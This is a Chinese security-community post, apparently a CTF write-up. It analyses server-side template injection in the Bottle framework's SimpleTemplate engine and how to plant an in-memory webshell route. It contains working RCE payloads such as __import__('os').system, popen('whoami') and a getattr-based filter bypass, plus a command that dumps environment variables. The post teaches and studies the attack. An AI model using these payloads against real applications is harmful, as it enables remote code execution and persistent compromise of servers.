技术社区
安全培训
技术社群
积分商城
先知平台
漏洞库
历史记录
清空历史记录
相关的动态
相关的文章
相关的用户
相关的圈子
相关的话题
注册
登录
Bottle框架的模板引擎安全问题分析
Zh1k
历史精选
579浏览 · 2025-03-25 13:24
返回文档
Bottle框架介绍
Bottle
是一个轻量级的 Python Web 单文件框架,仅包含一个
.py
文件,不依赖外部库,适用于小型 Web 应用和嵌入式系统开发。它提供了路由、模板、请求处理等基本功能,适合快速构建简单的 Web 应用。
优点
:
●
因为bottle框架是一个
单文件框架
所以比较轻量级 零依赖
●
简单易用 API 设计简洁,适合快速开发小型 Web 应用或 API。
●
自带 WSGI 服务器(基于
wsgiref
),也支持
Gunicorn
、
Paste
等服务器。
●
Bottle 自带一个
内置模板引擎
,称为
SimpleTemplate(
stpl
)
,不依赖第三方库。此外,它还支持其他模板引擎,如
Jinja2
、
Mako
和
Cheetah
,但这些需要额外安装。
缺点
:由于是单文件框架,所以功能有限而且性能比较一般。
Bottle框架的安全问题主要出现在
SimpleTemplate模板引擎
的使用上,接下来对模板引擎的安全问题进行分析
Bottle的SimpleTemplate引擎
Bottle自带了一个快速,强大,易用的模板引擎,名为
SimpleTemplate
或简称为
stpl
。它是
view()
和
template()
两个函数默认调用的模板引擎。
bottle.template() 底层实现解析
bottle.template()
负责解析并渲染模板,支持:
●
模板名称
(即模板文件路径,如
"index.tpl"
)
●
模板字符串
(如
"<h1>Hello {{name}}</h1>"
)
●
模板对象
(如
SimpleTemplate
实例)
📌函数的执行流程
函数实现源码
下面对源码实现进行逐行分析
●
解析并合并args参数
tpl = args[0] if args else None
如果 args 非空,则 tpl 取 args[0] 作为模板(文件名、字符串或 SimpleTemplate 对象)
for dictarg in args[1:]: kwargs.update(dictarg)
如果 args 传入了多个字典参数,kwargs 需要合并它们。
template("index.tpl", {"name": "Alice"}, {"age": 25}) 等价于 template("index.tpl", name="Alice", age=25)
●
选择模板适配器adapter
adapter = kwargs.pop('template_adapter', SimpleTemplate)
template_adapter 默认是 SimpleTemplate,可用于替换其他模板引擎(如 Jinja2)。
lookup = kwargs.pop('template_lookup', TEMPLATE_PATH)
lookup 来设置模板搜索路径
●
生成模板缓存id
tplid = (id(lookup), tpl)
tplid 由 lookup(模板路径)和 tpl(模板名称或内容)组合而成。用于缓存模板,避免重复解析。
●
解析并缓存模板
if tplid not in TEMPLATES or DEBUG:
TEMPLATES 是全局缓存,存储已解析的模板对象。 DEBUG=True 时,每次都重新解析,避免修改模板后缓存导致更新失败。
if isinstance(tpl, adapter): TEMPLATES[tplid] = tpl
如果 tpl 已经是一个 SimpleTemplate 实例,直接存入缓存
elif " " in tpl or "{" in tpl or "%" in tpl or '$' in tpl: TEMPLATES[tplid] = adapter(source=tpl, lookup=lookup, **settings)
如果 tpl 是 字符串,并且包含
、
{}
、
%
、
$
,则认为是模板字符串直接解析。
else: TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings)
否则,认为 tpl是 文件路径,从 lookup 路径中加载。
●
处理错误
if not TEMPLATES[tplid]:
abort(500, 'Template (%s) not found' % tpl)
如果模板加载失败,返回 HTTP 500 错误。
●
渲染模板
return TEMPLATES[tplid].render(kwargs)
render(kwargs) 传入所有变量,渲染最终 HTML。
SimpleTemplate 语法
Bottle 的 SimpleTemplate 使用类似 Python 的语法,支持:
●
变量插入
●
逻辑控制(条件、循环)
●
代码执行
●
过滤器和函数
📌 代码执行
bottle框架的代码执行是基于变量插入到模板中的
嵌入Python代码
官方文档
也就是说 除了使用{和}进行代码执行 在SimpleTemplate模板下我们可以使用
%
来执行python代码。但是我们的
%
所在的那一行
%
的前面只能有空白字符,所以需要我们换行 %0a
%
必须是行的开头
,没有其他字符(除了空白字符),否则会被误认为是普通 HTML 或文本内容。
这意味着
,如果在
%
前加上文本或标签(如
<div>
),那么模板引擎就不会将这一行视为 Python 代码执行,而是将其当作 HTML 元素来处理。
综上
bottle中的代码执行有以下几种方式
●
{{}} 花括号
只能执行单行表达式。 但是不用分隔符分隔
●
{{! }}
只能执行单行表达式。也不用分隔符分隔
●
换行后% 之后换行与html分割
% __import__('os').system('calc')
直接执行 也可执行多行python表达式如下:
●
<% ···%>
块级代码
Bottle框架的内存马
测试代码
传入cmd 可以进行代码执行
🔥路由解析
其实python框架的内存马都大同小异,生成内存马,就是要注入一段能够命令执行的代码,将这段代码绑定到某个自定义路由上,所以我们需要对路由解析的原理进行分析
跟进装饰器的route函数
跟进代码
使用
@app.route装饰器
时,会调用add_route方法将路由添加到应用中。如果能够动态获取到Bottle应用实例,就可以通过类似的方式添加自己的路由。例如,通过某种方式获取到app对象后,执行类似
app.route('/malicious', method='GET')(malicious_callback)
的代码,这样就会将恶意回调绑定到指定的路由上,从而实现内存马的注入。
在代码的最后 调用
add_route
函数
对路由的规则和方法进行添加 从而完成创建路由
🔥callback传入
由上分析,我们知道可以传入恶意回调函数从而绑定路由,那么我们需要去寻找一个可以自定义函数 由对其他框架内存马分析的启示 我们得到 可以通过使用
lambda
关键字定义的匿名函数.
lambda arguments: expression
语法很简单
成功传入内存马 我们访问/memshell路由会发现成功弹出计算器
🔚Payload
写入payload如下
我们向/memshell路由底下写入内存马 接收get传入的cmd参数
成功命令执行
题目
GHCTF2025_Meaage in a bottle
关键代码分析
逻辑分析
:/submit提交message时 先经过waf检验 将{和}替换为空 所以过滤了花括号 之后在handle_message里进行渲染
handle_message逻辑:使用
join()
方法用于将生成的
HTML 片段列表
合并成一个完整的 HTML 字符串:
{message_items} 是
在 HTML 模板中被渲染
的占位符。
例如假设
message = ["Hello", "你好"]
则生成如下:
代码段直接将
msg
变量插入到 HTML 中,
如果
msg
由用户提供且未经处理,就可能引发SSTI漏洞
。
Bottle 的 SimpleTemplate 允许 Python 代码执行
,如果
msg
包含
{{ __import__('os').popen('whoami').read() }}
这样的恶意输入,会导致rce。
本地调试
在本地尝试去掉waf 使用payload进行验证
那说明思路是可行的 接下来需要绕过waf中的花括号
绕waf
根据上文中对Bottle框架模板引擎代码执行的分析 我们可以利用%进行构造代码执行
弹shell
我们也可以写入内存马 只需要获取到app对象
成功写入
NCTF2025_ezdash
bottle渲染时过滤不严 可以直接传入进行代码执行打非预期
关键代码
本地去掉过滤进行尝试
% __import__('os').system('calc')
成功rce
所以只需要绕过点号
使用
getattr(object, attribute_name)
进行绕过
payload:
% getattr(__import__('os'), 'system')('calc')
本地成功
测试的时候发现题目貌似无回显
% getattr(__import__('os'), 'system')('sleep 5')
成功sleep5
尝试重定向
% getattr(__import__('os'), 'system')('env > 2')
访问
http://xx.xx.xx.xx:xxxxx/render?path=2
成功获取flag
4
人收藏
4
人喜欢
转载
分享
2
条评论
某人
表情
可输入
255
字
评论
发布投稿
热门文章
1
飞塔防火墙漏洞深度利用及调试环境搭建
2
Linux Shellcode开发(Stager & Reverse Shell)
3
Windows Shellcode开发(x64 stager)
4
Fuzz挖掘sudo提权漏洞:一次堆溢出如何逆向分析出提权思路
5
1.6K主机全域沦陷实录:从单点突破到域控接管的终极横向渗透链
近期热点
一周
月份
季度
1
飞塔防火墙漏洞深度利用及调试环境搭建
2
Linux Shellcode开发(Stager & Reverse Shell)
3
Windows Shellcode开发(x64 stager)
4
Fuzz挖掘sudo提权漏洞:一次堆溢出如何逆向分析出提权思路
5
1.6K主机全域沦陷实录:从单点突破到域控接管的终极横向渗透链
暂无相关信息
暂无相关信息
优秀作者
1
一天
贡献值:18800
2
T0daySeeker
贡献值:18700
3
1174735059082055
贡献值:15000
4
Yale
贡献值:14000
5
1674701160110592
贡献值:13000
6
LeeH
贡献值:10000
7
MeteorKai
贡献值:9000
8
熊猫正正
贡献值:8000
9
lufei
贡献值:8000
10
Bu0uCat
贡献值:8000
目录
Bottle框架介绍
Bottle的SimpleTemplate引擎
bottle.template() 底层实现解析
📌函数的执行流程
SimpleTemplate 语法
📌 代码执行
Bottle框架的内存马
🔥路由解析
🔥callback传入
🔚Payload
题目
GHCTF2025_Meaage in a bottle
关键代码分析
本地调试
绕waf
NCTF2025_ezdash
转载
标题
作者:
你好
http://www.a.com/asdsabdas
文章
转载
自
复制到剪贴板